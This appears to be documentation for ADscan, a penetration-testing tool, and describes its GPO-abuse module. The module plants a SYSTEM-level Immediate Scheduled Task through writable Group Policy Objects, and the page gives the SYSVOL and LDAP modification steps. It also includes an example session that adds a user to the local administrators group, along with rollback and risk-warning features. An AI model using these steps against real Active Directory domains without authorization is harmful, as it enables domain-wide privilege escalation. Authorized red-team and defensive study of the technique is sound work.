GPO Abuse — Immediate Scheduled Task
Plant a SYSTEM-level Immediate Scheduled Task on every machine linked to a writable GPO, and roll it back cleanly.
ADscan implements GPO abuse through the Immediate Scheduled Task technique, natively — no New-GPOImmediateTask, no external subprocess. When a principal you control can write to a Group Policy Container, ADscan plants a computer-side Immediate Scheduled Task. At the next gpupdate /force, or the next 90-120 minute refresh, every machine linked to that GPO executes it as NT AUTHORITY\SYSTEM.
What the attack does
It exploits write access to a GPO — GenericAll, GenericWrite, WriteDACL, WriteOwner, or WriteProperty on gPCFileSysPath, gPCMachineExtensionNames or versionNumber. ADscan drops a ScheduledTasks.xml of type Immediate Task into SYSVOL, bumps the GPO version in both LDAP and gpt.ini, and lets each linked machine's Group Policy client execute it on its next cycle.
The privilege gained is not on one host. It is on every machine the GPO is linked to, at once.
When it applies
Preconditions:
- A valid domain credential.
- At least one Group Policy Container where the principal, or a group in its
tokenGroups, holds one of:GenericAll,GenericWrite,WriteDACL,WriteOwnerWriteProperty:gPCFileSysPathWriteProperty:gPCMachineExtensionNamesWriteProperty:versionNumber
- SMB access to the domain controller's SYSVOL share.
ADscan refuses the attack when the principal belongs to Protected Users. That group blocks RC4, NTLM and unconstrained delegation, and the vector cannot be completed reliably from it.
How ADscan runs it
-
Discovery comes from the graph, not from a separate query. The native LDAP collector enumerates every
groupPolicyContainer, readsnTSecurityDescriptorwithSD_FLAGS_DACL, and persists each GPO as akind="GPO"node inattack_graph.json— together with the ACL edges (GenericAll,GenericWrite,WriteDACL,WriteOwner), theMemberOfedges, and theGPLinkedges to OUs, the domain and sites. The attack-path engine surfaces writable GPOs as findings automatically. Theexploit-gpo-abusewizard filters that graph (the principal's transitive membership, intersected with the relevant ACL relations) and issues no additional LDAP traffic. -
The wizard shows you the blast radius before you commit. A table with a risk column (CRITICAL when the GPO touches Tier 0), an impact panel listing the linked scopes of management, a red warning if it affects
OU=Domain Controllersor the domain root, payload selection, and an optional dry run. -
The mutation is written through a ledger. Every step is recorded before it is applied:
mkdir \\<dc>\SYSVOL\<domain>\Policies\{GUID}\Machine\Preferences\ScheduledTasks\- Upload
ScheduledTasks.xml— an Immediate Task running asNT AUTHORITY\SYSTEM. - Bump
Version=ingpt.iniandversionNumberin LDAP (the machine half), and merge the client-side-extension GUIDs intogPCMachineExtensionNames.
-
Rollback restores the original bytes. At session close, or when you run
exploit-gpo-rollback, ADscan reverts SYSVOL byte for byte and restores the LDAP attributes to their prior values.
The whole stack is native and asynchronous: Kerberos, LDAP with automatic LDAPS-to-LDAP fallback, SMB for SYSVOL, and a native security-descriptor parser for the DACLs.
Impact
Command execution as NT AUTHORITY\SYSTEM on every machine linked to the GPO. Where the GPO is linked to an OU holding high-value servers, or to OU=Domain Controllers, the route to Domain Admin is immediate — which is why ADscan marks those GPOs CRITICAL and requires an explicit confirmation.
Rollback
ADscan reverts every SYSVOL and LDAP mutation, then verifies the resulting state matches the state before the attack: the original gpt.ini, the original versionNumber, the original gPCMachineExtensionNames, and no ScheduledTasks.xml. The ledger keeps the change_id values for audit even after the session ends.
If you leave the task in place in order to escalate to Domain Admin, the deferred rollback runs automatically when the session closes — unless you have already triggered it with exploit-gpo-rollback <ledger_id>.
Example session
adscan> exploit-gpo-abuse
[ Checking feasibility... ]
Domain: example.local
User: alice
DC: dc01.example.local (10.0.0.10)
[ Enumerating writable GPOs... ]
┌───┬──────────────────────────┬───────────────────────┬──────────┬────────┬────────┬──────────┐
│ # │ GPO │ Rights │ Via │ # SOMs │ Tier 0 │ Risk │
├───┼──────────────────────────┼───────────────────────┼──────────┼────────┼────────┼──────────┤
│ 1 │ Workstation Hardening │ GenericAll │ S-1-... │ 2 │ │ MEDIUM │
│ 2 │ Servers Baseline │ WriteDACL │ S-1-... │ 4 │ │ HIGH │
│ 3 │ Default Domain Policy │ GenericWrite │ S-1-... │ 1 │ x │ CRITICAL │
└───┴──────────────────────────┴───────────────────────┴──────────┴────────┴────────┴──────────┘
? Select the GPO to exploit: Servers Baseline (4 SOMs, HIGH)
╭─ Impact preview ─────────────────────────────────────────────────╮
│ GPO: Servers Baseline │
│ Linked SOMs: │
│ OU=Servers,DC=example,DC=local │
│ OU=AppServers,OU=Servers,DC=example,DC=local │
│ Risk: HIGH │
╰──────────────────────────────────────────────────────────────────╯
? Continue? This modifies SYSVOL and LDAP on this DC. Yes
? Select payload: Raw command (RawCommandPayload)
? Command: net localgroup administrators alice /add
? Dry-run first? Yes
[ DRY RUN — no mutations ]
- LDAP versionNumber += 1, merge CSE GUIDs
- mkdir \\dc01\SYSVOL\example.local\Policies\{...}\Machine\Preferences\ScheduledTasks
- write ScheduledTasks.xml + gpt.ini bump
? Apply for real now? Yes
[ok] Immediate Scheduled Task planted (4 changes recorded, ledger id: ...).
? Run rollback now? No -> deferred to session close.To revert by hand:
adscan> exploit-gpo-rollback <ledger_id>References
- mayfly, GOAD — Part 11 (GPO abuse) — https://mayfly277.github.io/posts/GOADv2-pwning-part11/
- The Hacker Recipes, Group Policies — https://www.thehacker.recipes/ad/movement/group-policies
- Microsoft, Group Policy Preferences — Scheduled Tasks —
[MS-GPSCH]